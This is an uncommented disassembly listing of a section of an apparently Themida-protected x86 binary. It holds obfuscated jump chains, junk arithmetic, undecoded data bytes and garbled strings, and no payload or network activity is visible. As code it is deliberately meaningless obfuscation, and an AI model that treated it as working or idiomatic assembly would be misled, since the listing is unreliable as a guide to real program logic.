		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549F8B:				; CODE XREF: Themida_:0054D7ACj
		mov	eax, [esp]
		push	eax
		jmp	loc_550B10
; ---------------------------------------------------------------------------

loc_549F94:				; CODE XREF: Themida_:00549D1Cj
		mov	esi, 1B28736Dh
		sub	eax, esi
		pop	esi
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_556861
; ---------------------------------------------------------------------------

loc_549FA9:				; CODE XREF: Themida_:00548EB3j
		pop	ecx
		add	ebx, 1C71F42h
		sub	ebx, 0ABF0AF9h
		sub	ebx, 10093B43h
		jmp	loc_55432A
; ---------------------------------------------------------------------------
byte_549FC1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005430FCo
aS_5		db '$Ияэ',0
		align 2
		dw 0C281h
		dd 4, 0E9241487h, 2141h
; ---------------------------------------------------------------------------

loc_549FD8:				; CODE XREF: Themida_:0054C923j
		push	eax
		mov	eax, 7BCE65E8h
		shl	eax, 4
		add	eax, 9AC0EB2h
		sub	eax, 9BDF0096h
		add	ecx, eax
		pop	eax
		xor	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5478C5
; ---------------------------------------------------------------------------

loc_549FFE:				; CODE XREF: Themida_:00557C5Cj
		mov	ebp, 3BD2709Dh
		dec	ebp
		push	ebp
		xchg	ebp, [esp]
		jmp	loc_5508EA
; ---------------------------------------------------------------------------
		db 35h,	95h, 3Dh
		dd 0CE0D4DCEh, 3510082Eh, 1A1A7EFBh, 8158C601h,	4ECh, 24148900h
		dd 0E742B2BAh, 4E2C13Ah, 0C102E2C1h, 0E2C108E2h, 4EC8305h
		dd 0B9240C89h, 158FFFFEh, 6202C281h, 0CA292611h, 0FFC9ECE9h
		db 0FFh
byte_54A051	db 0F7h, 1Ch, 24h	; DATA XREF: Themida_:005431E8o
		dd 9241E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A05A:				; CODE XREF: Themida_:00555C10j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_5560EC
; ---------------------------------------------------------------------------
		db 2Dh,	9Dh, 76h
		dd 75055926h, 5A282018h, 0B60F66h, 670C68h, 242C8900h
		dd 0CD77E9h, 8BE90900h,	0C483242Ch, 1C5CE904h, 89560000h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 5C53E9h, 4C28300h
		dd 31241433h, 14332414h, 24248B24h, 46855h, 15D0000h, 42D5DE8h
		dd 87000000h, 248B2404h, 9846E924h, 489FFFFh, 99B4E924h
		dd 685B0000h, 666Dh, 0B9240C89h, 364460F2h, 848DE9h, 5EED8100h
		dd 0E93BAD73h, 1D22h
; ---------------------------------------------------------------------------

loc_54A0F8:				; CODE XREF: Themida_:00543CC2j
		push	esi
		jmp	loc_557854
; ---------------------------------------------------------------------------
aSY		db ']И^Y',0
		align 4
		dd 0B951E289h, 4, 5159CA01h, 514E98B9h,	6CC18153h, 1ACAEB1h
		dd 0FF5259CAh, 0E9042474h, 41DDh, 0E089505Dh, 405h, 4C08300h
		dd 5C240487h, 8B241C87h, 3CD22424h, 0D1E99C24h,	29000045h
		dd 0C875DE9h, 24248B24h, 89240489h, 40E952E0h, 5B00005Ah
		dd 565AD631h, 0BB6068BEh, 0F7D6874Ah, 0F714E9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A16E:				; CODE XREF: Themida_:0054CB32j
		mov	ebp, 7CA11EB7h
		shr	ebp, 5
		shr	ebp, 2
		jmp	loc_54FE78
; ---------------------------------------------------------------------------
		dw 0C568h
		dd 5F7DC719h, 0FFAA0FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A189:				; CODE XREF: Themida_:00546107j
		and	ecx, 2F141260h
		xor	ecx, 4040264h
		add	esi, ecx
		pop	ecx
		jmp	loc_546CE2
; ---------------------------------------------------------------------------
		db 0BEh, 31h, 58h
		dd 81462F4Bh, 0EE43E6C6h, 4E6C10Bh, 0B4B4E94Eh,	2F680000h
		dd 5400004Eh, 5724048Fh, 9660E9h, 24248B00h, 0BA241489h
		dd 2, 603BC581h, 0D501741Ch, 603BED81h,	0E95A741Ch, 0FFFFCA58h
		dd 0C681DE01h, 6506780Ch, 291AB850h, 413571D7h,	25669F3Ch
		dd 57BB12E8h, 0FF956DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A1FD:				; CODE XREF: Themida_:0054D87Aj
		add	edx, 8A008405h
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_544191
; ---------------------------------------------------------------------------
aLStz		db '▀$$ИБz',0
		align 4

loc_54A218:				; CODE XREF: Themida_:00548525j
		pop	esp
		push	557Ah
		jmp	loc_54865D
; ---------------------------------------------------------------------------
		db 0F7h
aBSeRsQ		db 'з│ЙsE)ЮИЛ÷',0
		align 10h

loc_54A230:				; CODE XREF: Themida_:00550C74j
		mov	edx, 76E20AF3h
		jmp	loc_556486
; ---------------------------------------------------------------------------
		dw 1C8Bh
aSN		db '$И^╜',0
		align 2
		dw 0FE59h
		dd 0E317E9C8h, 2D68FFFFh, 89000026h, 0E9542414h, 0CA4Ah
		dd 0BA52h, 0EA290000h, 0FFE915E9h, 0ACE941FFh, 6800009Eh
		dd 56037115h, 81242C8Bh, 4C4h, 47BB5300h, 0E904696Ah, 7960h
; ---------------------------------------------------------------------------

loc_54A284:				; CODE XREF: Themida_:00557C76j
		pop	ecx
		inc	ecx
		push	edi
		mov	edi, 0F62BF2C0h
		add	ecx, edi
		pop	edi
		jmp	loc_549631
; ---------------------------------------------------------------------------
		dd 0BA52D987h, 1850FC6Eh, 15AD101h, 8876E9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A2A6:				; CODE XREF: Themida_:0054D672j
		pop	ecx
		sub	esi, edx
		add	esi, 687055E4h
		add	esi, 2C4D6CAAh
		push	edx
		push	esi
		pop	edx
		pop	esi
		pop	esi
		push	1EBDh
		jmp	loc_554643
; ---------------------------------------------------------------------------
		dd 50240C8Bh, 0E1E9E089h
		db 0D7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A2CF:				; CODE XREF: Themida_:0054C768j
		add	al, 52h
		jmp	loc_55751A
; ---------------------------------------------------------------------------
		dw 0C701h
aB_i6s		db '│г\_╘6И╩ч',0
		db 0
; ---------------------------------------------------------------------------

loc_54A2E3:				; CODE XREF: Themida_:00543765j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp

loc_54A2EA:				; CODE XREF: Themida_:00548CA8j
		push	77ACh
		jmp	loc_54C6D6
; ---------------------------------------------------------------------------

loc_54A2F4:				; CODE XREF: Themida_:0054378Ej
		mov	bl, 5Fh
		mov	dh, bl
		jmp	loc_556141
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 33000000h, 3C31243Ch, 2080E924h, 5D680000h, 8900000Ah
		dd 0E0892404h, 0F8AE9h
		db 0
; ---------------------------------------------------------------------------

loc_54A31D:				; CODE XREF: Themida_:00548BCCj
		mov	[esp], esi
		push	edx
		mov	edx, 44C10401h
		jmp	loc_555CC3
; ---------------------------------------------------------------------------
		db 0C1h
		dd 525106EEh, 0FFD889E9h, 59CA21FFh, 6347F281h,	752D5D79h
		dd 5282018h, 5926769Dh,	1AE9D029h, 28FFFFFDh, 442C5BF8h
		dd 0FF54505Bh, 81582434h, 4C4h,	40500h,	42D0000h, 33000000h
		dd 4312404h, 24043324h,	0FFC13CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A379:				; CODE XREF: Themida_:00557654j
		sub	edi, 5DD5FC9h
		shl	edi, 7
		and	edi, 70D0801h
		neg	edi
		xor	edi, 0AAF913D8h
		jmp	loc_548140
; ---------------------------------------------------------------------------

loc_54A395:				; CODE XREF: Themida_:005476D3j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 2
		push	ebx
		jmp	loc_54B0DA
; ---------------------------------------------------------------------------

loc_54A3BD:				; CODE XREF: Themida_:00552665j
		push	ecx
		mov	ecx, 4CE0488Bh
		dec	ecx
		neg	ecx
		jmp	loc_557CF1
; ---------------------------------------------------------------------------
aXsl		db 'XИ╚Ё',0
		dd 81E68900h, 4C6h, 4C68100h, 87000000h, 248B2434h, 4C08324h
		dd 0DC11E9h, 0C6343500h, 0C2013B7Bh, 0E9D08958h, 0C152h
		dd 4C48358h, 51E08950h,	407FD3B9h, 82E98137h, 810DA013h
		dd 7149C9F1h, 0C181412Eh, 1, 4AC8BD55h,	22E93116h, 890000DAh
		dd 4C381E3h, 83000000h,	1C8704C3h, 24248B24h, 17E9D8F6h
		dd 830000DAh, 0CC6804ECh, 8900005Fh, 4812424h, 424h, 24048F00h
		dd 4240481h, 5F000000h,	4C781h,	78E90000h, 56FFFFF3h, 4BEh
		dd 0E9F20100h, 1BB0h
; ---------------------------------------------------------------------------

loc_54A474:				; CODE XREF: Themida_:0054F32Ej
		pop	esi
		pop	ebx
		push	eax
		mov	eax, 5DAC4243h
		jmp	loc_556F29
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 53000000h, 4EC81h, 82E90000h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A493:				; CODE XREF: Themida_:0054E87Dj
		sub	edx, eax
		pop	eax
		sub	edx, 6BF04805h
		mov	ecx, [edx]
		jmp	loc_5483A5
; ---------------------------------------------------------------------------
		db 35h
		dd 5512138h, 0D02E8C1h,	74F37679h, 7B3AAE05h, 58C62980h
		dd 0FFA679E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A4BD:				; CODE XREF: Themida_:0054FAB0j
		mov	[esp], eax
		jmp	loc_552E51
; ---------------------------------------------------------------------------

loc_54A4C5:				; CODE XREF: Themida_:00550365j
		and	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 0FFFFFFFFh
		jmp	loc_550E48
; ---------------------------------------------------------------------------
		dd 0E95EF029h, 0FFFF9AFCh, 4C281h, 0C2830000h, 4EC8302h
		dd 89241C89h, 0EC8155E3h, 4, 0BF243C89h, 4, 15F5D57h, 0EB815DEBh
		dd 4, 0E9241C87h, 0CF51h, 2DC068h, 24148900h, 9491E9h
		dd 240C8700h, 86E9575Ch
		db 0D3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A52B:				; CODE XREF: Themida_:005468B3j
		mov	edi, [esp]
		add	esp, 4
		xor	edi, 26B266FAh
		or	edi, 348F2EF7h
		sub	edi, 0C80C7FF6h
		mov	ecx, edi
		jmp	loc_54C729
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 6Fh
		dd 872DEF47h, 83DAF7D5h, 2C8904ECh, 1CD36824h, 14890000h
		dd 9EE95D24h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A56B:				; CODE XREF: Themida_:005446BFj
		add	esp, 4
		sub	ebx, edi
		jmp	loc_554F4B
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 78h
		dd 512E7576h, 59277CB9h, 59CD217Fh, 4DE4BF57h, 0FD014B80h
		dd 2FE5815Fh, 0F76CD038h, 0E2C581D5h, 0E991033Eh, 4EE3h
		dd 66F1F65Ch, 57CCB60Fh, 0C7815F54h, 4,	4EF81h,	3C870000h
		dd 0BE95C24h, 0F70000A9h, 9FCDE9D1h, 2159FFFFh,	0B8E95BDEh
		dd 100005Ah, 7E981D1h, 81080445h, 202761C1h, 0C335A36h
		dd 240C3124h, 0FF8CFCE9h, 0E9008FFFh, 0FFFF8CABh
; ---------------------------------------------------------------------------

loc_54A5F0:				; CODE XREF: Themida_:0054F574j
		pop	eax
		jmp	loc_54D303
; ---------------------------------------------------------------------------

loc_54A5F6:				; CODE XREF: Themida_:0054DC5Fj
		neg	edi
		add	edi, 89927F0Ch
		mov	eax, edi
		pop	edi
		shr	eax, 2
		not	eax
		jmp	loc_54ED9C
; ---------------------------------------------------------------------------

loc_54A60B:				; CODE XREF: Themida_:00556678j
		pop	eax
		jmp	loc_546C0A
; ---------------------------------------------------------------------------
		db 57h,	89h, 0C7h
		dd 585FFE89h, 510EE9h
		db 0
; ---------------------------------------------------------------------------

loc_54A61D:				; CODE XREF: Themida_:00548EC8j
		push	ebx
		push	0B7E50B6h
		jmp	loc_54A66A
; ---------------------------------------------------------------------------

loc_54A628:				; CODE XREF: Themida_:00546894j
		mov	ebp, esi
		pop	esi
		push	ebx
		mov	ebx, 0F1199B4Fh
		add	ebp, ebx
		pop	ebx
		push	eax
		mov	eax, 7CC839CAh
		add	ebx, eax
		pop	eax
		add	ebx, ebp
		jmp	loc_556B34
; ---------------------------------------------------------------------------
		dd 525D5455h, 6251D7BAh, 0EDCA814Eh, 521DD150h,	5A2414F7h
		dd 6FE9514Ah, 1FFFF8Fh,	3C875EF7h, 7E4DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A66A:				; CODE XREF: Themida_:0054A623j
		pop	ebx
		shr	ebx, 5
		sub	ebx, 501752CCh
		sub	ebx, 224E73EBh
		jmp	loc_54997F
; ---------------------------------------------------------------------------
		db 58h
		dd 81242C8Bh, 4C4h, 0C6B6800h, 1C890000h, 0E9575524h, 0FFFF8D36h
		dd 8104C483h, 0F0E62CBh, 43D3F762h, 0FFB6E7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A6A9:				; CODE XREF: Themida_:0054356Ej
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shl	esi, 4
		shl	esi, 4
		add	esi, 22802300h
		jmp	loc_54F8ED
; ---------------------------------------------------------------------------
		dw 8358h
		dd 0E98104C4h, 782C5E74h, 75BA5250h, 0F701B631h, 5BEA81DAh
		dd 0E9B558B8h, 0FFFFE188h, 0FF8BAEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A6ED:				; CODE XREF: Themida_:0054FF01j
		or	eax, 631D4D04h
		add	eax, 3D8B1D49h
		shr	eax, 6
		dec	eax
		push	edx
		mov	edx, 73515215h
		sub	edx, 0FFFFFFFFh
		jmp	loc_54D91E
; ---------------------------------------------------------------------------
		dd 88E9C39Dh, 81FFFF8Bh, 0ED2CAEE9h, 59CD0139h,	8E45E9h
		dd 243C8700h, 51E8015Ch, 2E0C68B9h, 0FB33E95Bh,	3C87FFFFh
		dd 9080E924h, 148BFFFFh, 4C48324h, 53C3E9h, 81D1F700h
		dd 7C59E9h, 0FDC18153h,	8136062Ch, 0ACC4ADE9h, 0E9515560h
		dd 0B1FBh, 0E7E5BD55h, 0EB29988Fh, 946CE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A76E:				; CODE XREF: Themida_:00544EFFj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5536E1
; ---------------------------------------------------------------------------

loc_54A77C:				; CODE XREF: Themida_:00552A5Aj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54D51F
; ---------------------------------------------------------------------------

loc_54A796:				; CODE XREF: Themida_:00548FB7j
		sub	ebx, 7336829h
		add	ebx, eax
		jmp	loc_544EDC
; ---------------------------------------------------------------------------

loc_54A7A3:				; CODE XREF: Themida_:0055120Bj
		xor	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		mov	eax, ebp
		jmp	loc_544742
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 0BE9DC7DBh, 0FF960CE9h, 5AF680FFh, 0E9E6F680h, 1FFCh
		dd 8704C683h, 555C2434h, 268h, 2434FF00h, 5D2434FFh, 0C4B3E9h
		dd 4C68100h, 83000000h,	0FF5604EEh, 5E042474h, 8B24048Fh
		dd 34892424h, 2434FF24h, 4C4835Fh, 0F1F68h, 241C8900h
		dd 5916E2BBh, 5BDF0150h, 0A2E9CF01h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A817:				; CODE XREF: Themida_:005486DBj
		sub	esi, 0FFFFFFFFh
		xor	esi, 5027344Ah
		sub	ebx, 1B231271h
		add	ebx, esi
		add	ebx, 1B231271h
		jmp	loc_545D8A
; ---------------------------------------------------------------------------
		db 1
		dd 0D0C181F1h, 8115A10Dh, 7512BC1h, 2434FF4Ah, 4C4835Eh
		dd 2C181h, 0C870000h, 24248B24h, 9C2404FEh, 0FF8A3EE9h
		dd 0FC909FFh, 0FFDA5484h, 6D0C68FFh, 0E1E90000h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A86F:				; CODE XREF: Themida_:0054EA31j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_557191
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 3Fh
		dd 5514B400h, 0AB5EE9h,	24048B00h, 8904EC83h, 0E189240Ch
		dd 0D10BF57h, 0E94F150Bh, 97C8h, 5B66542Ch, 9FE9EA2Ch
		db 9Ch,	2 dup(0FFh)
byte_54A8AB	db 0FFh			; DATA XREF: Themida_:00543050o
		dd 0DEE93877h, 29FFFFC3h, 7E0105D8h, 0E95537AAh, 0A5D8h
		dd 10BF5752h, 0E973570Ah, 7C54h, 56241C89h, 42474FFh, 0E924348Bh
		dd 0FFFFD4E3h
; ---------------------------------------------------------------------------

loc_54A8DC:				; CODE XREF: Themida_:00557A4Fj
		sub	ebx, 6F7F2AEDh
		push	ebx
		pop	eax
		pop	ebx
		sub	edi, eax
		pop	eax
		jmp	loc_5575D8
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48358h, 4BE56h, 4E90000h, 80000029h, 0E60045C6h, 8045EE80h
		dd 9EE94EEEh, 0B5FFFFB2h, 1433681Ch, 1C890000h,	88B2B724h
		dd 51535BFAh, 7FFEE9h
		db 0
; ---------------------------------------------------------------------------

loc_54A925:				; CODE XREF: Themida_:0055613Cj
		push	esi
		jmp	loc_550226
; ---------------------------------------------------------------------------

loc_54A92B:				; CODE XREF: Themida_:00556C72j
		mov	[esp], ecx
		jmp	loc_556285
; ---------------------------------------------------------------------------

loc_54A933:				; CODE XREF: Themida_:005466CBj
		mov	ebx, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	12Bh
		mov	[esp], edx
		jmp	loc_54DDC0
; ---------------------------------------------------------------------------
		dw 0CF81h
		dd 49284305h, 14D3B850h, 0D7E93139h
		db 70h,	2 dup(0)
byte_54A957	db 0FFh			; DATA XREF: Themida_:00543118o
		dd 589D1C77h, 9C240419h, 0FF8936E9h, 8BEF89FFh,	0C481242Ch
		dd 4, 0E95FFE89h, 0CF5Bh, 9BB95148h, 815E3B74h,	5B004DC1h
		dd 59C809B1h, 6804E8C1h, 23D5h,	0BA241489h, 4BBD15DCh
		dd 0B8E9D021h, 5E0000D1h, 8324148Bh, 51E904C4h,	6600000Bh
		dd 6EAEEB81h, 81C0B70Fh, 4ECh, 0CD57E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A9BE:				; CODE XREF: Themida_:00553B6Bj
		pop	ebx
		sub	edi, esi
		pop	esi
		push	ecx
		mov	ecx, 381B4DDAh
		jmp	loc_54C004
; ---------------------------------------------------------------------------
		db 0BBh, 0DDh, 38h
		dd 0D829338Ch, 0F003355Bh, 0C201D6FCh, 2065E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A9E1:				; CODE XREF: Themida_:005501F5j
		mov	eax, 384B1F69h
		or	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	ebx
		mov	ebx, 1E4072E2h
		mov	edi, 10F3D534h
		jmp	loc_54E661
; ---------------------------------------------------------------------------
		db 33h
		dd 80E9240Ch, 5800005Ch, 3F1EBB53h, 0E3C170FAh,	52E38105h
		dd 0E92D311Fh, 0FFFFABA9h
; ---------------------------------------------------------------------------

loc_54AA1C:				; CODE XREF: Themida_:0054EE31j
		pop	ebx
		jmp	loc_558028
; ---------------------------------------------------------------------------
aZs		db 'ZИ',9,'+',0
		align 4

loc_54AA28:				; CODE XREF: Themida_:0054587Fj
		push	esi
		jmp	loc_54EF22
; ---------------------------------------------------------------------------

loc_54AA2E:				; CODE XREF: Themida_:00556864j
		sub	esp, 4
		jmp	loc_54B29E
; ---------------------------------------------------------------------------
		dw 0DE89h
		dd 0E9F5895Bh, 0CC39h, 5B59C889h, 0BE3DE940h, 0C6810000h
		dd 78EC3F40h, 0EE81DE29h, 78EC3F40h, 793CEE81h,	8B5B549Ch
		dd 0EC81241Ch, 4, 89240489h, 405E0h, 0F7E90000h, 0C0000056h
		dd 0E0C008E0h, 6807h, 4280000h,	24048A24h, 0FE04C483h
		dd 53EF2CC8h, 27E9C388h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54AA97:				; CODE XREF: Themida_:00543EEEj
		push	edx
		mov	edx, 42CF6ED1h
		dec	edx
		xor	edx, 169719CDh
		push	edx
		add	dword ptr [esp], 3C970091h
		pop	ebp
		sub	ebp, 3C970091h
		pop	edx
		jmp	loc_545AD3
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C7h
		dd 4, 75B268h, 9B70E900h, 0BF57FFFFh, 20AF59E2h, 0FFAB9EE9h
		dd 240431FFh, 0FFE9E8E9h, 241C89FFh, 0B40FE9h, 241C8B00h
		dd 0FF9B61E9h, 0C781FFh, 5D3FEA41h, 3A00E9h, 4EF8300h
		dd 5C243C87h, 54243C89h, 2FFAE9h, 74FF5700h, 8F5F0424h
		dd 248B2404h, 0CF3AE924h, 0E95C0000h, 0FFFF877Bh, 0BDEFE956h
		dd 0EC83FFFFh, 24048904h, 386C49B8h, 6C4DBA32h,	0C2313238h
		dd 582434FFh, 104C483h,	2434FFD5h, 8324148Bh, 0EC8104C4h
		dd 4, 81240C89h, 4ECh, 24248900h, 4240483h, 0E9240C8Bh
		dd 4CEBh
; ---------------------------------------------------------------------------

loc_54AB68:				; CODE XREF: Themida_:00557F1Ej
		xor	edx, 0E6C39369h
		jmp	loc_54F31D
; ---------------------------------------------------------------------------

loc_54AB73:				; CODE XREF: Themida_:00556BFFj
		xor	edi, 6B581029h
		jmp	loc_553803
; ---------------------------------------------------------------------------
		dw 0F5BEh
		dd 31FA67F0h, 24348BF3h, 8904C483h, 0FF685BDDh,	89000028h
		dd 10E9242Ch
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AB9B:				; CODE XREF: Themida_:005551BCj
		push	dword ptr [esp]
		jmp	loc_55696A
; ---------------------------------------------------------------------------

loc_54ABA3:				; CODE XREF: Themida_:0055320Dj
		push	67AD0415h
		pop	eax
		inc	eax
		sub	eax, 67AD0412h
		mov	edi, eax
		pop	eax
		add	edx, edi
		jmp	loc_54FF7C
; ---------------------------------------------------------------------------

loc_54ABB9:				; CODE XREF: Themida_:00552424j
		not	ebx
		jmp	loc_5577CA
; ---------------------------------------------------------------------------

loc_54ABC0:				; CODE XREF: Themida_:0054470Cj
		and	ebp, 5BA8513Ah
		xor	ebp, 49000114h
		mov	ebx, ebp
		push	dword ptr [esp]
		jmp	loc_5532BE
; ---------------------------------------------------------------------------

loc_54ABD6:				; CODE XREF: Themida_:005562FFj
		mov	edi, 479A552Bh
		inc	edi
		add	edi, 0FFFFFFFFh
		push	esi
		mov	esi, 4BF71089h
		and	esi, 745C3F38h
		add	esi, 6D9D08A7h
		sub	esi, 6656C388h
		sub	edi, esi
		pop	esi
		mov	esi, edi
		pop	edi
		jmp	loc_54FAD4
; ---------------------------------------------------------------------------
		dw 1489h
		dd 4664BA24h, 0BDE96AEEh, 33FFFFD1h, 248B242Ch,	6EE95224h
		dd 8BFFFFB0h, 0C4812434h, 4, 0A34DE9h, 80E30000h, 80581CC3h
		dd 0DDE916C3h, 8BFFFFF8h, 0C483240Ch, 24048F04h, 8655E95Ch
		dd 0F281FFFFh, 28A954E4h, 4EC81h, 3C890000h, 29685124h
		dd 89000017h, 96BD242Ch, 811B9D38h, 96D3D2EDh, 5DE9890Dh
		dd 0C0E9CF89h, 1000046h, 5C3505F0h, 348B1EC5h, 4C48124h
		dd 2D000000h, 4, 5C240487h, 0BF243C89h,	4, 3C8BFA89h, 2098E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AC9E:				; CODE XREF: Themida_:005565C1j
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_5450E4
; ---------------------------------------------------------------------------
aQRkbss		db '[Q╧ЮkBsИос',0
		align 2
word_54ACB6	dw 8B66h		; DATA XREF: Themida_:00542FECo
		dd 0D868240Ch, 89000040h, 6850241Ch, 43FCh, 83242489h
		dd 58042404h, 19685657h, 0E94A1966h, 45B5h, 5157BE56h
		dd 0F22174C2h, 2DA685Eh, 1C890000h, 67B5BB24h, 0DA215B8Bh
		dd 26F8E95Bh, 0E95E0000h, 66E2h
; ---------------------------------------------------------------------------

loc_54AD00:				; CODE XREF: Themida_:00544927j
		add	edx, 4
		sub	edx, 4
		jmp	loc_544BE7
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 81h
		dd 128C13EFh, 0AED81C4h, 0E9398C51h, 0C24Eh
dword_54AD24	dd 240C8B66h, 457E68h, 5ECEE900h, 0EC830000h, 240C8904h
					; DATA XREF: Themida_:00543240o
		dd 8C14C9B9h, 80C9816Dh, 0E942936Fh, 7DB6h, 582434FFh
		dd 4C481h, 81500000h, 4ECh, 24248900h, 4240483h, 9808E9h
		dd 2434FF00h, 5B54535Fh, 4C381h, 68560000h, 4, 0E9F3015Eh
		dd 0B361h, 5C240487h, 8B240C87h, 0E9F72424h, 56FBE9h, 5BF98800h
		dd 0FF9573E9h, 0C3815DFFh, 281D026Ah, 79EB951h,	0CB2946BFh
		dd 0CAF0E959h, 0BB530000h, 6F052BAFh, 35EB8143h, 89192804h
		dd 0BB535BDEh, 1B00414Dh, 0FF9586E9h, 0C3EE81FFh, 2928612Ah
		dd 3410E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54ADD6:				; CODE XREF: Themida_:0054517Aj
		xor	edi, edx
		xor	edx, edi
		xor	edi, edx
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_557D65
; ---------------------------------------------------------------------------
		db 87h
		dd 575C2404h, 5429E9h, 24348B00h, 4C481h, 0C3810000h, 0FFFFFFFFh
		dd 0E901C383h, 0A0CAh, 0B551525Ah, 284BB6B8h, 0B75359EEh
		dd 94CF8048h, 4CE9CFFEh, 81000032h, 0B83DDDC7h,	58E95E62h
		dd 8900002Dh, 0EC83241Ch, 3DD1E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AE36:				; CODE XREF: Themida_:0055377Cj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_548720
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4244481h, 4BF00F71h,	237BE9h, 0E9D1F700h, 0FFFFF8E9h
; ---------------------------------------------------------------------------

loc_54AE5C:				; CODE XREF: Themida_:0054B589j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7AD33C51h
		push	ebx
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 4FF318CEh
		jmp	loc_54DB73
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0A8h
		dd 1000013h, 24348BF0h,	504C483h, 53100B53h, 0CBE6E9h
		dd 805A6600h, 0F780FFEFh, 0F5F78015h, 2C5BF800h, 284C0418h
		dd 44C2CD8h, 0F4E95218h, 5B0000C9h, 45066858h, 0C890000h
		dd 7892B924h, 0CA011775h, 0C1E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AED9:				; CODE XREF: Themida_:00549294j
		sub	eax, ebx
		pop	ebx
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		shr	ebp, 3
		neg	ebp
		shl	ebp, 3
		push	ebx
		mov	ebx, 6CD66D40h
		add	ebx, 9C6CE56Ah
		or	ebp, ebx
		pop	ebx
		xor	ebp, 0DD6FFEB8h
		add	edi, 30DC491Fh
		add	edi, ebp
		sub	edi, 30DC491Fh
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cx
		jmp	loc_543C01
; ---------------------------------------------------------------------------
		dd 8324048Bh, 36E904C4h, 68FFFFF6h, 4, 244C0159h, 1B4AE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AF4E:				; CODE XREF: Themida_:00550B31j
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_556A04
; ---------------------------------------------------------------------------

loc_54AF60:				; CODE XREF: Themida_:00551612j
		add	esp, 4
		jmp	loc_553C8D
; ---------------------------------------------------------------------------
		dd 2E4A6F05h, 51E80136h, 2E4A6FB9h, 59C82936h, 5E5B055Dh
		dd 0BB534A3Fh, 6AC57A2Bh, 0F381DBF7h, 1A617A5h,	4EC81h
		dd 0C890000h, 0B895E924h, 8159FFFFh, 88106CEAh,	0AFC5E976h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AFA6:				; CODE XREF: Themida_:00552AF9j
		add	edx, 0A251902Bh
		xor	eax, edx
		jmp	loc_546641
; ---------------------------------------------------------------------------
		db 1
		dd 0A716E9FDh, 0C281FFFFh, 4, 4B951h, 0CA010000h, 24148759h
		dd 41045Ch, 66412CD0h, 16B4505Ah, 7937E951h
		db 2 dup(0)
